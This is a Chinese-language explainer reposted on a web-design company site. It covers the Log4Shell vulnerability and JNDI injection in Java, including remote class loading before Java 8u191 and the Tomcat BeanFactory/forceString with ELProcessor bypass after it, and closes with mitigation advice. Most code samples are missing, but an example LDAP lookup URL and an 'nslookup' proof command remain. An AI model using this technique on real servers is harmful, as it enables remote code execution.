Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

2022-10-04    分類: 網(wǎng)站建設(shè)

最新爆發(fā)的Log4j2安全遠(yuǎn)程漏洞,又稱“Log4Shell”,讓整個(gè)互聯(lián)網(wǎng)陷入了威脅之中,大量企業(yè)和Java項(xiàng)目都在緊鑼密鼓的升級更新補(bǔ)丁,還有很多安全研究人員在研究復(fù)現(xiàn)和利用以及防范方法,我們今天就來說說相關(guān)的常識(shí)和進(jìn)展。

Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

Log4Shell漏洞(正式編號CVE-2021-44228) 歸根結(jié)底是一個(gè)非常簡單的JNDI注入漏洞。Log4J在擴(kuò)展占位符時(shí)在記錄消息時(shí)候(或間接作為格式化消息的參數(shù))執(zhí)行JNDI lookup()操作。在默認(rèn)配置中,JNDI支持兩種協(xié)議:RMI和LDAP。在這兩種情況下,lookup()的調(diào)用實(shí)際上是為了返回一個(gè)Java對象。這通常為序列化的Java對象,但是還有一個(gè)通過于間接構(gòu)造的JNDI引用。這個(gè)對象和引用字節(jié)碼可以通過遠(yuǎn)程URL加載代(java類.class)。

關(guān)于JNDI和JNDI注入

JNDI,全稱Java Naming and Directory Interface(Java命名和目錄接口) 是Java中引入一種Java API,它允許客戶端通過名稱發(fā)現(xiàn)查找和共享Java數(shù)據(jù)和對象。這些對象可以存儲(chǔ)在不同的命名或目錄服務(wù)中,例如遠(yuǎn)程方法調(diào)用(RMI)、通用對象請求代理架構(gòu)(CORBA)、輕量級目錄訪問協(xié)議(LDAP)或域名服務(wù)(DNS)等。

Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

換句話說,JNDI是一個(gè)簡單的Java API,例如:InitialContext.lookup(String name)它只接受一個(gè)字符串參數(shù),如果該參數(shù)來自不信任的來源,則可能會(huì)有遠(yuǎn)程代碼的加載和執(zhí)行。

當(dāng)請求對象的名稱被攻擊者控制時(shí),有可能將存在問題的Java應(yīng)用程序指向惡意的rmi/ldap/corba 服務(wù)器并使用任意對象進(jìn)行響應(yīng)。如果該對象是“javax.naming.Reference”類的實(shí)例,則JNDI客戶端會(huì)嘗試解析此對象的“classFactory”和“classFactoryLocation”屬性。如果目標(biāo)Java應(yīng)用程序不知道“classFactory”值,Java將使用Java URLClassLoader 從“classFactoryLocation”位置獲取Factory字節(jié)碼。

Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

由于它的簡單性,即使“InitialContext.lookup”方法沒有直接暴露到受污染的數(shù)據(jù),它對于利用Java漏洞也非常有用。在某些情況下,它仍然可以通過反序列化或不安全反射攻擊來訪問。

一段易受攻擊的應(yīng)用程序示例如下:

Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

Java 8u191之前JNDI注入

通過請求“/lookup/?name=ldap://127.0.0.1:1389/Object”的鏈接,可以讓易受攻擊的服務(wù)器連接到控制的地址,并觸發(fā)遠(yuǎn)程類加載。

一個(gè)惡意RMI實(shí)例服務(wù)示例如下:

Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

由于目標(biāo)服務(wù)器不知道“ExploitObject”,它的字節(jié)碼將從_attacke_指定的服務(wù)加載并執(zhí)行觸發(fā)RCE遠(yuǎn)程執(zhí)行。

該方法在Java 8u121 中可良好運(yùn)行,在Java 8u191 更新中,Oracle對LDAP添加了的限制,并發(fā)布了CVE-2018-3149補(bǔ)丁,關(guān)閉了JNDI遠(yuǎn)程類加載。然而,仍然有可能通過JNDI注入觸發(fā)不可信數(shù)據(jù)的反序列化,但其利用高度依賴于現(xiàn)有的小工具。

Java 8u191+中利用JNDI注入

從Java 8u191開始,當(dāng)JNDI客戶端接收到一個(gè)Reference對象時(shí),無論是在RMI還是在LDAP中,都不會(huì)使用其“classFactoryLocation”值。但是,仍然可以在“javaFactory”屬性中指定任意工廠類。

該類將用于從攻擊者控制的“javax.naming.Reference”中提取真實(shí)對象。它應(yīng)該存在于目標(biāo)類路徑中,實(shí)現(xiàn)“javax.naming.spi.ObjectFactory”并至少有一個(gè)“getObjectInstance”方法:

Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

public interface ObjectFactory { public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception; }

主要思想是在目標(biāo)類路徑中找到一個(gè)Factory,它對引用的屬性做一些危險(xiǎn)的事情。例如,在Apache Tomcat服務(wù)器的“org.apache.naming.factory.BeanFactory”類包含使用反射創(chuàng)建bean的邏輯:

Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

“BeanFactory”類創(chuàng)建任意bean的實(shí)例并為所有屬性調(diào)用其設(shè)置器。目標(biāo)bean 類名、屬性和屬性值都來自被攻擊者控制的Reference對象。

目標(biāo)類應(yīng)該有一個(gè)公共的無參數(shù)構(gòu)造函數(shù)和只有一個(gè)“字符串”參數(shù)的公共設(shè)置器。 事實(shí)上,這些 setter 可能不一定從 'set..' 開始,因?yàn)椤癇eanFactory”包含一些為任何參數(shù)指定任意setter名稱的邏輯。

Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

這里使用的魔法屬性是“forceString”。 例如,通過將其設(shè)置為“x=eval”,我們可以對屬性“x”進(jìn)行名稱為“eval”而不是“setX”的方法調(diào)用。

因此,通過利用“BeanFactory”類,我們可以使用默認(rèn)構(gòu)造函數(shù)創(chuàng)建任意類的實(shí)例,并使用一個(gè)“String”參數(shù)調(diào)用任何公共方法。

此處可能有用的類之一是“javax.el.ELProcessor”。 在它的“eval”方法中,可以指定一個(gè)字符串來表示要執(zhí)行的Java表達(dá)式語言模板。

Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

一個(gè)在評估時(shí)執(zhí)行任意命令的惡意表達(dá)式:

Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

編寫一個(gè)示例的RMI服務(wù)器,它以精心制作的“ResourceRef”對象進(jìn)行響應(yīng):

Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

該服務(wù)以“org.apache.naming.ResourceRef”的序列化對象進(jìn)行響應(yīng),其中包含了精心設(shè)計(jì)的屬性在客戶端觸發(fā)所需的行為。

然后在受害Java進(jìn)程上觸發(fā)JNDI解析:

Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展

當(dāng)這個(gè)對象被反序列化時(shí),不會(huì)發(fā)生任何不受歡迎的事情。但由于它仍然擴(kuò)展“javax.naming.Reference”,“org.apache.naming.factory.BeanFactory”工廠將在受害者方使用以從引用中獲取“真實(shí)”對象。在此階段,將觸發(fā)通過模板評估的遠(yuǎn)程代碼執(zhí)行,并執(zhí)行“nslookup jndi.s.xxx”命令。

這里唯一的限制是目標(biāo)Java應(yīng)用程序的類路徑中應(yīng)該有一個(gè)來自 Apache Tomcat服務(wù)器的“org.apache.naming.factory.BeanFactory”類,但其他應(yīng)用程序服務(wù)器可能有自己的對象工廠,可以實(shí)現(xiàn)類似的功能。

總結(jié)

實(shí)際問題不在JDK或Apache Tomcat=中,而是由于用戶將不可控?cái)?shù)據(jù)傳遞給“InitialContext.lookup()”函數(shù)的自定義應(yīng)用程序中。即使使用最新的漏洞完全修補(bǔ)的JDK中,它存在潛在的安全風(fēng)險(xiǎn)。

在許多情況下,其他漏洞(例如“不受信任數(shù)據(jù)的反序列化”)也可能導(dǎo)致JNDI解析。通過使用源代碼審查來防止這些漏洞始終是一個(gè)好主意。

長期以來,對于RMI和LDAP,的引用沒有做任何限制。這樣對攻擊者指定的JNDI RMI或LDA 名稱的lookup調(diào)用就會(huì)導(dǎo)致直接的遠(yuǎn)程代碼執(zhí)行。

自Java 8u121開始,RMI協(xié)議(但不是LDAP)默認(rèn)不再允許遠(yuǎn)程代碼庫。

LDAP之前有一個(gè)補(bǔ)丁(CVE-2009-1094),但這完全是對引用對象無效。因此,LDAP仍然允許直接遠(yuǎn)程執(zhí)行代碼。直到Java 8u191的 CVE-2018-3149漏洞補(bǔ)丁中才解決。

在Java 8u191版本之前,都存在從受控JNDI lookup遠(yuǎn)程類加載任意代碼執(zhí)行的風(fēng)險(xiǎn)。

但是新版本中RMI引用和工廠構(gòu)造對象仍未被去除,只是禁止遠(yuǎn)程代碼庫??梢酝ㄟ^Apache XBean BeanFactory 返回的引用來實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。只要該類在目標(biāo)系統(tǒng)上本地可用既可以,例如被包含到Tomcat或者 WebSphere中則仍然有利用的可能。

另外,RMI本質(zhì)上是基于Java序列化的,而LDAP支持一個(gè)特殊的對象類,從目錄中反序列化Java對象從lookup()返回。 在這兩種情況下,除非應(yīng)用了全局反序列化過濾器,否則JNDI注入將會(huì)導(dǎo)致反序列化不受信任的攻擊者提供的數(shù)據(jù)。雖然有一定的攻擊的復(fù)雜性,在許多情況下,仍然可用于遠(yuǎn)程代碼執(zhí)行。

總之,不要依賴當(dāng)前Java版本來解決這個(gè)問題,需要及時(shí)更新Log4j(或刪除JNDI lookup),或者禁用JNDI擴(kuò)展才是完全的解決方案(可能不太現(xiàn)實(shí))。

網(wǎng)站名稱:Log4Shell和JNDI注入的基本常識(shí)和目前進(jìn)展
本文URL:http://www.muchs.cn/news35/201635.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供軟件開發(fā)、電子商務(wù)全網(wǎng)營銷推廣、云服務(wù)器網(wǎng)站設(shè)計(jì)、小程序開發(fā)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

h5響應(yīng)式網(wǎng)站建設(shè)